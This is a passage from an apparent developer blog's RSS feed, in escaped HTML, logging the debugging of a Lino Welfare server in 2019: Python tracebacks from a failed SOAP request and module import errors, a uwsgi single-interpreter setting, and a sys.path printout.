    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getaddrinfo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;family&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;proto&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gaierror&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Errno&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Name&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;known&lt;/span&gt;

&lt;span class="n"&gt;During&lt;/span&gt; &lt;span class="n"&gt;handling&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;above&lt;/span&gt; &lt;span class="n"&gt;exception&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;another&lt;/span&gt; &lt;span class="n"&gt;exception&lt;/span&gt; &lt;span class="n"&gt;occurred&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/lino_welfare/modlib/cbss/mixins.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;239&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;execute_request&lt;/span&gt;
    &lt;span class="n"&gt;retval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;execute_request_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;simulate_response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/lino_welfare/modlib/cbss/mixins.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;554&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;execute_request_&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;execute_newstyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;simulate_response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/lino_welfare/modlib/cbss/models.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;484&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;execute_newstyle&lt;/span&gt;
    &lt;span class="n"&gt;reply&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;retrieveTI&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;infoCustomer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;legalContext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;si&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/suds/client.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;559&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__call__&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;invoke&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/suds/client.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;618&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;invoke&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;soapenv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/suds/client.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;652&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;send&lt;/span&gt;
    &lt;span class="n"&gt;reply&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;transport&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/suds/transport/http.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;178&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;send&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;HttpTransport&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/suds/transport/http.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;78&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;send&lt;/span&gt;
    &lt;span class="n"&gt;fp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;u2open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;u2request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/suds/transport/http.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;119&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;u2open&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;u2request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;tm&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.7/urllib/request.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;525&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.7/urllib/request.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;543&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_open&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;_open&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.7/urllib/request.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;503&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_call_chain&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.7/urllib/request.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1360&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;https_open&lt;/span&gt;
    &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;check_hostname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_check_hostname&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.7/urllib/request.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1319&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;do_open&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;URLError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;URLError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;urlopen&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Errno&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Name&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;known&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;That error message is a bit useless. It should simply say “Connection to
&lt;a class="reference external" href="https://example.com"&gt;https://example.com&lt;/a&gt; failed with [Errno -2] Name or service not known”.&lt;/p&gt;
&lt;p&gt;Another surprise:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lxml&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;etree&lt;/span&gt;
&lt;span class="ne"&gt;ImportError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Interpreter&lt;/span&gt; &lt;span class="n"&gt;change&lt;/span&gt; &lt;span class="n"&gt;detected&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="n"&gt;only&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;loaded&lt;/span&gt; &lt;span class="n"&gt;into&lt;/span&gt; &lt;span class="n"&gt;one&lt;/span&gt; &lt;span class="n"&gt;interpreter&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;After reading &lt;a class="reference external" href="https://stackoverflow.com/questions/54092324/importerror-interpreter-change-detected-while-importing-xmlsec"&gt;this&lt;/a&gt;
I added the following line to the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;nginx/a_uwsgi.ini&lt;/span&gt;&lt;/code&gt; file&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;single&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;interpreter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a class="reference external" href="https://stackoverflow.com/questions/12626503/does-mod-wsgi-runs-in-a-single-python-interpreter"&gt;https://stackoverflow.com/questions/12626503/does-mod-wsgi-runs-in-a-single-python-interpreter&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1001.html</guid><pubDate>Tue, 01 Oct 2019 00:00:00 +0000</pubDate></item><item><title>Monday, September 30, 2019</title><link>https://luc.lino-framework.org/blog/2019/0930.html</link><description>&lt;section id="monday-september-30-2019"&gt;
&lt;h1&gt;Monday, September 30, 2019&lt;a class="headerlink" href="#monday-september-30-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;&lt;a class="reference external" href="https://softwarehut.com/blog/it-outsourcing/remote-teams-best-practices/"&gt;https://softwarehut.com/blog/it-outsourcing/remote-teams-best-practices/&lt;/a&gt;&lt;/p&gt;
&lt;section id="nonetype-object-has-no-attribute-dict"&gt;
&lt;h2&gt;‘NoneType’ object has no attribute ‘__dict__’&lt;a class="headerlink" href="#nonetype-object-has-no-attribute-dict" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Hamza and I did more research for advancing with &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3095"&gt;#3095&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We had this traceback:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/src/appy/appy/pod/converter.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;845&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;ConverterScript&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/src/appy/appy/pod/converter.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;833&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;runoptions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pageStart&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/src/appy/appy/pod/converter.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;268&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;
&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;docUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;docPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getFilePath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;docPath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/src/appy/appy/pod/converter.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;361&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;getFilePath&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unohelper&lt;/span&gt;
&lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3/dist-packages/unohelper.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;uno&lt;/span&gt;
&lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lib/python3.7/dist-packages/uno/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Element&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Css&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;UnoBaseFeature&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;UnoBaseField&lt;/span&gt;
&lt;span class="ne"&gt;ModuleNotFoundError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt; &lt;span class="n"&gt;named&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;base&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This was caused because we had installed uno via “sudo pip3 install uno”. But
after saying  “sudo pip3 uninstall uno” we are back at our initial problem:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ne"&gt;AttributeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;NoneType&amp;#39;&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;attribute&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__dict__&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;We added a line &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;import&lt;/span&gt; &lt;span class="pre"&gt;sys&lt;/span&gt; &lt;span class="pre"&gt;;&lt;/span&gt; &lt;span class="pre"&gt;print(sys.path)&lt;/span&gt;&lt;/code&gt; to the &lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#xfile-settings.py" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;settings.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and
watched the difference:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;manage&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/usr/local/lino&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;/usr/local/lino/lino_local/weleup1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;/usr/local/lino/lino_local/weleup1/env/lib/python37.zip&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;/usr/local/lino/lino_local/weleup1/env/lib/python3.7&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;/usr/local/lino/lino_local/weleup1/env/lib/python3.7/lib-dynload&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
